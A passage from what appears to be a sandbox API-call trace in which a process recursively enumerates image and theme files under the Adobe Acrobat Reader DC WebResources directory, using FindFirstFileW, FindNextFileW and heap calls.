nFileSizeLow=0x26c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons_fw.png", cAlternateFileName="CORE_I~3.PNG")) returned 1 [0253.099] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250574b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x250574b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x250574b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4e8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons_retina.png", cAlternateFileName="CORE_I~1.PNG")) returned 1 [0253.099] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250574b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x250574b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x252b9a4, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="faf_field_grabber.png", cAlternateFileName="FAF_FI~1.PNG")) returned 1 [0253.099] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1880, dwReserved0=0x0, dwReserved1=0x0, cFileName="faf_icons.png", cAlternateFileName="FAF_IC~1.PNG")) returned 1 [0253.099] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x346a, dwReserved0=0x0, dwReserved1=0x0, cFileName="faf_icons_retina.png", cAlternateFileName="FAF_IC~2.PNG")) returned 1 [0253.099] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Handler@1x.png", cAlternateFileName="HANDLE~1.PNG")) returned 1 [0253.100] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250574b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x250574b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x250574b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1a0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="sample-thumb.png", cAlternateFileName="SAMPLE~1.PNG")) returned 1 [0253.100] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0253.100] GetProcessHeap () returned 0xc10000 [0253.250] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.269] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\themes\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0253.270] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.271] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0253.271] GetProcessHeap () returned 0xc10000 [0253.271] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0253.271] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0253.355] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.355] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobe_sign_tag.png", cAlternateFileName="ADOBE_~1.PNG")) returned 1 [0253.355] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x865, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobe_sign_tag_retina.png", cAlternateFileName="ADOBE_~2.PNG")) returned 1 [0253.356] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2931b58, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2931b58, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2931b58, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x23ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons.png", cAlternateFileName="CORE_I~2.PNG")) returned 1 [0253.356] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2931b58, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2931b58, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x26c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons_fw.png", cAlternateFileName="CORE_I~3.PNG")) returned 1 [0253.356] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4e8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons_retina.png", cAlternateFileName="CORE_I~1.PNG")) returned 1 [0253.356] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2931b58, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="faf_field_grabber.png", cAlternateFileName="FAF_FI~1.PNG")) returned 1 [0253.356] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2931b58, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2931b58, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2931b58, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x34b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="faf_icons.png", cAlternateFileName="FAF_IC~1.PNG")) returned 1 [0253.356] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x7419, dwReserved0=0x0, dwReserved1=0x0, cFileName="faf_icons_retina.png", cAlternateFileName="FAF_IC~2.PNG")) returned 1 [0253.356] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Handler@1x.png", cAlternateFileName="HANDLE~1.PNG")) returned 1 [0253.356] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1a0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="sample-thumb.png", cAlternateFileName="SAMPLE~1.PNG")) returned 1 [0253.356] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1a0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="sample-thumb.png", cAlternateFileName="SAMPLE~1.PNG")) returned 0 [0253.357] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0253.358] GetProcessHeap () returned 0xc10000 [0253.358] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0253.358] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0253.358] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0253.358] GetProcessHeap () returned 0xc10000 [0253.358] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.358] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x252b9a4, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x252b9a4, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x252b9a4, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tools", cAlternateFileName="")) returned 1 [0253.359] GetProcessHeap () returned 0xc10000 [0253.359] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.359] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x252b9a4, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x252b9a4, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0253.365] GetProcessHeap () returned 0xc10000 [0253.365] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0253.365] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2767d0d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2767d0d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0253.373] GetProcessHeap () returned 0xc10000 [0253.373] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0253.373] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\themes\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b41a7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x27b41a7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x27b41a7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0253.375] GetProcessHeap () returned 0xc10000 [0253.375] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39b28c8 [0253.375] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\themes\\dark\\*", lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b41a7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x27b41a7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0253.379] GetProcessHeap () returned 0xc10000 [0253.379] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39b28c8 | out: hHeap=0xc10000) returned 1 [0253.382] GetProcessHeap () returned 0xc10000 [0253.382] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0253.383] GetProcessHeap () returned 0xc10000 [0253.383] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0253.384] GetProcessHeap () returned 0xc10000 [0253.385] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39b28c8 [0253.385] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\themes\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f5618, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x26f5618, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x26f5618, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0253.387] GetProcessHeap () returned 0xc10000 [0253.387] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0253.388] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\themes\\dark\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f5618, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x26f5618, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2767d0d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0253.392] GetProcessHeap () returned 0xc10000 [0253.392] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0253.392] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f5618, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x26f5618, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x26f5618, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0253.392] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0253.393] GetProcessHeap () returned 0xc10000 [0253.393] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39b28c8 | out: hHeap=0xc10000) returned 1 [0253.393] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="x.cur", cAlternateFileName="")) returned 1 [0253.393] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="x_2x.png", cAlternateFileName="")) returned 1 [0253.393] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="x_2x.png", cAlternateFileName="")) returned 0 [0253.393] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0253.394] GetProcessHeap () returned 0xc10000 [0253.394] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.396] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x252b9a4, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x252b9a4, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x252b9a4, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tools", cAlternateFileName="")) returned 0 [0253.396] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0253.396] GetProcessHeap () returned 0xc10000 [0253.396] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0253.397] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0253.397] GetProcessHeap () returned 0xc10000 [0253.397] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0253.397] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0253.398] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, 